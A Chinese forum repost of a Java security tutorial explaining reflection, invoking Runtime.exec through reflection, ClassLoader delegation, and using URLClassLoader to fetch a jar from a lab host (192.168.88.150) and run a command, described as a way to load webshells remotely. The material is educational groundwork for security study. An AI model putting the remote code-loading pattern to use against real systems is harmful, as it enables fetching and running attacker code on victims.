ToB企服应用市场:ToB评测及商务社交产业平台

标题: Java 安全底子之 Java 反射机制和 ClassLoader 类加载机制 [打印本页]

作者: 徐锦洪    时间: 2024-5-17 21:48
标题: Java 安全底子之 Java 反射机制和 ClassLoader 类加载机制
目录

Java 反射机制

Java 反射(Reflection)是 Java 非常紧张的动态特性。在运行状态中,通过 Java 的反射机制,我们可以或许判断一个对象所属的类。了解任意一个类的全部属性和方法。可以或许调用任意一个对象的任意方法和属性。
Java 反射机制可以无视类方法、变量去访问权限修饰符,而且可以调用任何类的任意方法、访问并修改成员变量值。
对于一半的程序员来说反射的意义不大,对于框架开发人员来说,反射作用就非常大了,它是各种容器实现的核心。
获取 Class 对象
Java 反射利用的是 java.lang.Class 对象,以是我们需要先想办法获取到 Class 对象。
1、类字面常量来获取
  1. Class<?> name = MyClass.class;
复制代码
2、通过对象获取 getClass() 方法
  1. MyClass obj = new MyClass();
  2. Class<?> name = obj.getClass();
复制代码
3、通过全限定名获取  Class.forName() 方法
  1. Class<?> name = Class.forName("java.lang.Runtime");
复制代码
4、使用 getSystemClassLoader().loadClass() 方法
  1. Class<?> name = ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime");
复制代码
loadClass() 与 forName() 的区别:
forName() 的静态方法 JVM 会装载类,而且执行 static() 中的代码。而getSystemClassLoader().loadClass() 不会执行 static() 中的代码。
获取类成员变量
1、getDeclaredFields 方法
得到类的成员变量数组,包括 public、private 和 proteced,但是不包括父类的申明字段。
  1. Field[] fields = classname.getDeclaredFields();
复制代码
2、getDeclaredField 方法
该方法与 getDeclaredFields 的区别是只能得到类的单个成员变量。
  1. Field field  = classname.getDeclaredField("变量名");
复制代码
3、getFields 方法
getFields 可以或许得到某个类的全部的 public 字段,包括父类中的字段。
  1. Field[] fields = classname.getFields();
复制代码
4、getField 方法
与 getFields 类似,getField 方法可以或许得到某个类特定的 public 字段,包括父类中的字段。
  1. Field field = classname.getField(("变量名");
复制代码
获取类方法
1、getDeclaredMethods 方法
返回类或接口声明的全部方法,包括 public、protected、private 和默认方法,但不包括继承的方法。
  1. Method[] methods = classname.getDeclaredMethods()
复制代码
2、getDeclaredMethod 方法
也只能返回一个特定的方法,该方法的第一个参数为方法名,第二个参数名是方法参数。
  1. Method methods = classname.getDeclaredMethods("方法名")
复制代码
3、getMethods 方法
返回某个类的全部 public 方法,包括其继承类的 public 方法。
  1. Method[] methods = classname.getMethods();
复制代码
4、getMethod 方法
只能返回一个特定的方法,该方法的第一个参数为方法名称,后面的参数为方法的参数对应 Class 的对象。
  1. Method method = clazz.getMethod("方法名");
复制代码
反射 java.lang.Runtime

java.lang.Runtime 有一个 exec 方法,以是可以反射调用 Runtime 类来执行本地体系命令。
不使用反射执行本地命令:
  1. import java.io.IOException;
  2. public class Exec {
  3.     public static void main(String[] args) throws IOException {
  4.         Runtime.getRuntime().exec("calc");
  5.     }
  6. }
复制代码
反射 Runtime 执行本地命令:
  1. import java.lang.reflect.InvocationTargetException;
  2. import java.lang.reflect.Method;
  3. public class ReflectionExec {
  4.     public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException,
  5.             InvocationTargetException, IllegalAccessException {
  6.         // 获取 Runtime 类
  7.         Class<?> clazz = Class.forName("java.lang.Runtime");
  8.         // 获取 Runtime 类的 getRuntime() 方法
  9.         Method getRuntimeMethod = clazz.getMethod("getRuntime");
  10.         // 调用 getRuntime() 方法,获取 Runtime 对象
  11.         Object runtimeObject = getRuntimeMethod.invoke(null);
  12.         // 获取 exec(String command) 方法
  13.         Method execMethod = clazz.getMethod("exec", String.class);
  14.         // 执行系统命令
  15.         execMethod.invoke(runtimeObject, "clac");
  16.     }
  17. }
复制代码
间接性的调用 Runtime 的 exec 方法执行本地体系命令。

不安全的反射大概会带来致命的漏洞。
ClassLoader 类加载机制

Java 是编译型语言,编写的 java 文件需要编译成后 class 文件后才可以或许被 JVM 运行。类加载器 ClassLoader 负责加载类文件,生成对应的 Class 对象。
JVM 提供的三种类加载器
负责加载 Java 的核心类,好比 java.lang.Object 等。它是由 C++ 实现的,而且不是 Java 类。
负责加载 Java 的扩展类,位于 /lib/ext 目录下的JAR包或类。
也称为应用类加载器,负责加载应用程序的类,通常从classpath中加载类。
值得留意的是,Bootstrap ClassLoader 它是 JVM 自身的一部分,并不是  ClassLoader 的子类,无法直接获取对其的引用,以是尝试获取被 Bootstrap ClassLoader 类加载器所加载的类的 ClassLoader 时候都会返回 null。
除了这三种,还可以自定义类加载器。
ClassLoader 类中和加载类相关的方法
ClassLoader类加载流程
在加载类之前,会首先使用 findLoadedClass() 方法判断该类是否已经被加载,如果已经加载过,则直接返回对应的 Class 对象。
如果未被加载,则优先使用加载器的父类加载器进行加载,如果加载成功,则返回对应的 Class 对象。
如果父类加载器无法加载该类,大概父类加载器为空,则会调用自身的 findClass() 方法尝试自行加载该类。
在成功加载类之后,类加载器会对其进行链接和初始化利用。
返回一个被 JVM 加载后的 java.lang.Class 类对象。
ClassLoader 的 loadClass 方法核心逻辑代码:
  1. protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
  2.     synchronized (getClassLoadingLock(name)) {
  3.         Class<?> c = findLoadedClass(name);
  4.         if (c == null) {
  5.             long t0 = System.nanoTime();
  6.             try {
  7.                 if (parent != null) {
  8.                     c = parent.loadClass(name, false);
  9.                 } else {
  10.                     c = findBootstrapClassOrNull(name);
  11.                 }
  12.             } catch (ClassNotFoundException e) {
  13.             }
  14.             if (c == null) {
  15.                 c = findClass(name);
  16.             }
  17.         }
  18.         if (resolve) {
  19.             resolveClass(c);
  20.         }
  21.         return c;
  22.     }
  23. }
复制代码
自定义的类加载器
通过重写 findClass() 方法,利用 defineClass() 方法来将字节码转换成 java.lang.class 类对象,就可以实现自定义的类加载器。
URLClassLoader

URLClassLoader 类是 ClassLoader 的一个实现,拥有从远程服务器上加载类的能力。
通过 URLClassLoader 可以实现远程的类方法调用,可以实现对一些 WebShell 的远程加载。
例如:通过 URLClassLoader 来加载一个远程的 jar 包执行本地命令
  1. import java.io.ByteArrayOutputStream;
  2. import java.io.IOException;
  3. import java.io.InputStream;
  4. import java.lang.reflect.InvocationTargetException;
  5. import java.net.URL;
  6. import java.net.URLClassLoader;
  7. public class TestURLClassLoader {
  8.     public static void main(String[] args) throws IOException,
  9.             ClassNotFoundException, NoSuchMethodException, InvocationTargetException,
  10.                         IllegalAccessException {
  11.         // 定义远程加载的jar的URL路径
  12.         URL url = new URL("http://192.168.88.150/CMD.jar");
  13.         // 创建URLClassLoader对象,并加载远程jar包
  14.         URLClassLoader ucl = new URLClassLoader(new URL[]{url});
  15.         // 通过URLClassLoader加载远程jar包中的CMD类
  16.         Class<?> cmdClass = ucl.loadClass("CMD");
  17.         String cmd = "ls";
  18.         // 调用CMD类中的exec方法
  19.         Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);
  20.         // 获取命令执行结果的输入流
  21.         InputStream in = process.getInputStream();
  22.         ByteArrayOutputStream baos = new ByteArrayOutputStream();
  23.         byte[] b = new byte[1024];
  24.         int a = -1;
  25.         // 读取命令执行结果
  26.         while ((a = in.read(b)) != -1) {
  27.             baos.write(b, 0, a);
  28.         }
  29.         // 输出命令执行结果
  30.         System.out.println(baos.toString());
  31.     }
  32. }
复制代码
远程的 CMD.jar 中就一个 CMD.class 文件,对应的 CMD.java 如下:
  1. import java.io.IOException;
  2. public class CMD {
  3.     public static Process exec(String cmd) throws IOException {
  4.         return Runtime.getRuntime().exec(cmd);
  5.     }
  6. }
复制代码
成功调用 CMD 类中的 exec 方法,执行了 ls 命令。

loadClass()方法与 Class.forName 的区别?

loadClass() 方法和 Class.forName() 方法都可以用于在运行时加载类。
重要区别:

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4